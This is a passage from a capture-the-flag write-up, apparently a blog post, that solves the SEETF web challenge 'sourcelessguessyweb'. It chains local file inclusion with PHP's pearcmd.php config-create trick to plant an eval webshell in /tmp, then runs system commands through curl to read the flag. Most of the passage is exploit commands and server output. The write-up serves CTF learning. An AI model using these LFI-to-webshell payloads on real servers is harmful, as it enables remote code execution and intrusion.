&lt;p&gt;I expected the /tmp directory to be always clean to prevent interferrence. But oh well, works for me!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/hi.php" 

&lt;span class="c"&gt;&amp;lt;!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
--&amp;gt;&lt;/span&gt;

...

whysoserious/pear";s:7:"man_dir";s:79:"/&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;page=../../../../../usr/local/lib/php/pearcmd.php&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;/index.php
main.css
phpinfo.php
whysoserious
whysoserious/pear/man";}    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit &amp;gt; div');
        for (let i = 0; i &lt;span class="nt"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nt"&gt;parts.length&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="err"&gt;++)&lt;/span&gt; &lt;span class="err"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;let&lt;/span&gt; &lt;span class="na"&gt;partLength = &lt;/span&gt;&lt;span class="s"&gt;parts[i].innerHTML.length;&lt;/span&gt;

            &lt;span class="na"&gt;parts[i].innerHTML = &lt;/span&gt;&lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;

            &lt;span class="na"&gt;for&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="na"&gt;let&lt;/span&gt; &lt;span class="na"&gt;j = &lt;/span&gt;&lt;span class="s"&gt;0;&lt;/span&gt; &lt;span class="na"&gt;j&lt;/span&gt; &lt;span class="err"&gt;&amp;lt;&lt;/span&gt; &lt;span class="na"&gt;partLength&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;j&lt;/span&gt;&lt;span class="err"&gt;++)&lt;/span&gt; &lt;span class="err"&gt;{&lt;/span&gt;
                &lt;span class="na"&gt;parts&lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="err"&gt;].&lt;/span&gt;&lt;span class="na"&gt;innerHTML&lt;/span&gt; &lt;span class="err"&gt;+=&lt;/span&gt; &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="na"&gt;currIdx&lt;/span&gt; &lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="na"&gt;messageLength&lt;/span&gt;&lt;span class="err"&gt;];&lt;/span&gt;
                &lt;span class="na"&gt;currIdx&lt;/span&gt;&lt;span class="err"&gt;++;&lt;/span&gt;
            &lt;span class="err"&gt;}&lt;/span&gt;
        &lt;span class="err"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="na"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;(base) [hacker@hackerbook tmp]$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Pearcmd exploit
&lt;/h3&gt;

&lt;p&gt;On researching more in pearcmd, I found out that there are other writeups for it already. We could use the payloads there.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ctftime.org/writeup/30236"&gt;https://ctftime.org/writeup/30236&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://chowdera.com/2022/02/202202080401099387.html"&gt;https://chowdera.com/2022/02/202202080401099387.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;First I tested that the file I'm creating does not exist yet&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php"  -d "1=system('whoami');"

&amp;lt;!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
--&amp;gt;

...

&amp;lt;script&amp;gt;
    let message = `
            `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit &amp;gt; div');
        for (let i = 0; i &amp;lt; parts.length; i++) {
            let partLength = parts[i].innerHTML.length;

            parts[i].innerHTML = '';

            for (let j = 0; j &amp;lt; partLength; j++) {
                parts[i].innerHTML += message[currIdx % messageLength];
                currIdx++;
            }
        }
    }
&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Creating a webshell file to access via LFI later. I modified &lt;code&gt;/test.php?+config-create+/&amp;amp;file=/usr/share/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;+/tmp/hello.php&lt;/code&gt; that I can find at &lt;a href="https://chowdera.com/2022/02/202202080401099387.html"&gt;https://chowdera.com/2022/02/202202080401099387.html&lt;/a&gt;, especially the file path and the LFI parameter to fit the context.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I changed &lt;code&gt;/test.php&lt;/code&gt; to &lt;code&gt;/&lt;/code&gt; to fit the path affected by LFI on the challenge&lt;/li&gt;
&lt;li&gt;I changed &lt;code&gt;&amp;amp;file=&lt;/code&gt; to &lt;code&gt;&amp;amp;page=&lt;/code&gt; to fit the parameter affected by LFI on the challenge&lt;/li&gt;
&lt;li&gt;I changed &lt;code&gt;/tmp/hello.php&lt;/code&gt; to &lt;code&gt;/tmp/eval.php&lt;/code&gt; to change the file to write to
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg+config-create+/&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;page=../../../usr/local/lib/php/pearcmd.php&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;/&lt;span class="cp"&gt;&amp;lt;?=eval(\$_POST\[1\])?&amp;gt;&lt;/span&gt;+/tmp/eval.php"

&lt;span class="c"&gt;&amp;lt;!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
--&amp;gt;&lt;/span&gt;
...

&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
        CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels     auto_discover    &amp;lt;not set&amp;gt;
Default Channel                default_channel  pear.php.net
HTTP Proxy Server Address      http_proxy       &amp;lt;not set&amp;gt;
PEAR server [DEPRECATED]       master_server    &amp;lt;not set&amp;gt;
Default Channel Mirror         preferred_mirror &amp;lt;not set&amp;gt;
Remote Configuration File      remote_config    &amp;lt;not set&amp;gt;
PEAR executables directory     bin_dir          /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear
PEAR documentation directory   doc_dir          /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/docs
PHP extension directory        ext_dir          /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/ext
PEAR directory                 php_dir          /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/php
PEAR Installer cache directory cache_dir        /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/cache
PEAR configuration file        cfg_dir          /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/cfg
directory
PEAR data directory            data_dir         /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/data
PEAR Installer download        download_dir     /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/download
directory
Systems manpage files          man_dir          /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/man
directory
PEAR metadata directory        metadata_dir     &amp;lt;not set&amp;gt;
PHP CLI/CGI binary             php_bin          &amp;lt;not set&amp;gt;
php.ini location               php_ini          &amp;lt;not set&amp;gt;
--program-prefix passed to     php_prefix       &amp;lt;not set&amp;gt;
PHP's ./configure
--program-suffix passed to     php_suffix       &amp;lt;not set&amp;gt;
PHP's ./configure
PEAR Installer temp directory  temp_dir         /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/temp
PEAR test directory            test_dir         /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/tests
PEAR www files directory       www_dir          /&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=eval($_POST[1])?&amp;gt;/pear/www
Cache TimeToLive               cache_ttl        &amp;lt;not set&amp;gt;
Preferred Package State        preferred_state  &amp;lt;not set&amp;gt;
Unix file mask                 umask            &amp;lt;not set&amp;gt;
Debug Log Level                verbose          &amp;lt;not set&amp;gt;
PEAR password (for             password         &amp;lt;not set&amp;gt;
maintainers)
Signature Handling Program     sig_bin          &amp;lt;not set&amp;gt;
Signature Key Directory        sig_keydir       &amp;lt;not set&amp;gt;
Signature Key Id               sig_keyid        &amp;lt;not set&amp;gt;
Package Signature Type         sig_type         &amp;lt;not set&amp;gt;
PEAR username (for             username         &amp;lt;not set&amp;gt;
maintainers)
User Configuration File        Filename         /tmp/eval.php
System Configuration File      Filename         #no#system#config#
Successfully created default configuration file "/tmp/eval.php"
    `&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;[^&lt;/span&gt;&lt;span class="sr"&gt;A-Za-z0-9!?&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;currIdx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;messageLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.lazarus-pit &amp;gt; div&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;partLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;partLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currIdx&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;messageLength&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
                &lt;span class="nx"&gt;currIdx&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
(base) [hacker@hackerbook tmp]$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Accessing the file to run custom code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php"  -d "1=system('whoami');"

&amp;lt;!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
--&amp;gt;

...

&amp;lt;script&amp;gt;
    let message = `
        #PEAR_Config 0.9
a:12:{s:7:"php_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/php";s:8:"data_dir";s:77:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/data";s:7:"www_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/www";s:7:"cfg_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/cfg";s:7:"ext_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/ext";s:7:"doc_dir";s:77:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/docs";s:8:"test_dir";s:78:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/tests";s:9:"cache_dir";s:78:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/cache";s:12:"download_dir";s:81:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/download";s:8:"temp_dir";s:77:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/temp";s:7:"bin_dir";s:72:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear";s:7:"man_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/www-data
/pear/man";}    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit &amp;gt; div');
        for (let i = 0; i &amp;lt; parts.length; i++) {
            let partLength = parts[i].innerHTML.length;

            parts[i].innerHTML = '';

            for (let j = 0; j &amp;lt; partLength; j++) {
                parts[i].innerHTML += message[currIdx % messageLength];
                currIdx++;
            }
        }
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  RCE
&lt;/h3&gt;

&lt;p&gt;I tested listing everything in the root directory&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php"  -d "1=system('ls /');"

&lt;span class="c"&gt;&amp;lt;!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
--&amp;gt;&lt;/span&gt;

...

/pear";s:7:"man_dir";s:76:"/&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;page=../../../usr/local/lib/php/pearcmd.php&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;/bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
readflag
root
run
sbin
srv
sys
tmp
usr
var
/pear/man";}    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit &amp;gt; div');
        for (let i = 0; i &lt;span class="nt"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nt"&gt;parts.length&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="err"&gt;++)&lt;/span&gt; &lt;span class="err"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;let&lt;/span&gt; &lt;span class="na"&gt;partLength = &lt;/span&gt;&lt;span class="s"&gt;parts[i].innerHTML.length;&lt;/span&gt;

            &lt;span class="na"&gt;parts[i].innerHTML = &lt;/span&gt;&lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;

            &lt;span class="na"&gt;for&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="na"&gt;let&lt;/span&gt; &lt;span class="na"&gt;j = &lt;/span&gt;&lt;span class="s"&gt;0;&lt;/span&gt; &lt;span class="na"&gt;j&lt;/span&gt; &lt;span class="err"&gt;&amp;lt;&lt;/span&gt; &lt;span class="na"&gt;partLength&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;j&lt;/span&gt;&lt;span class="err"&gt;++)&lt;/span&gt; &lt;span class="err"&gt;{&lt;/span&gt;
                &lt;span class="na"&gt;parts&lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="err"&gt;].&lt;/span&gt;&lt;span class="na"&gt;innerHTML&lt;/span&gt; &lt;span class="err"&gt;+=&lt;/span&gt; &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="na"&gt;currIdx&lt;/span&gt; &lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="na"&gt;messageLength&lt;/span&gt;&lt;span class="err"&gt;];&lt;/span&gt;
                &lt;span class="na"&gt;currIdx&lt;/span&gt;&lt;span class="err"&gt;++;&lt;/span&gt;
            &lt;span class="err"&gt;}&lt;/span&gt;
        &lt;span class="err"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="na"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php"  -d "1=system('/readflag');"

&lt;span class="c"&gt;&amp;lt;!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
--&amp;gt;&lt;/span&gt;

...

&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
        #PEAR_Config 0.9
a:12:{s:7:"php_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/php";s:8:"data_dir";s:77:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/data";s:7:"www_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/www";s:7:"cfg_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/cfg";s:7:"ext_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/ext";s:7:"doc_dir";s:77:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/docs";s:8:"test_dir";s:78:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/tests";s:9:"cache_dir";s:78:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/cache";s:12:"download_dir";s:81:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/download";s:8:"temp_dir";s:77:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/temp";s:7:"bin_dir";s:72:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear";s:7:"man_dir";s:76:"/&amp;amp;page=../../../usr/local/lib/php/pearcmd.php&amp;amp;/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/man";}    `&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;[^&lt;/span&gt;&lt;span class="sr"&gt;A-Za-z0-9!?&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;currIdx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;messageLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.lazarus-pit &amp;gt; div&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
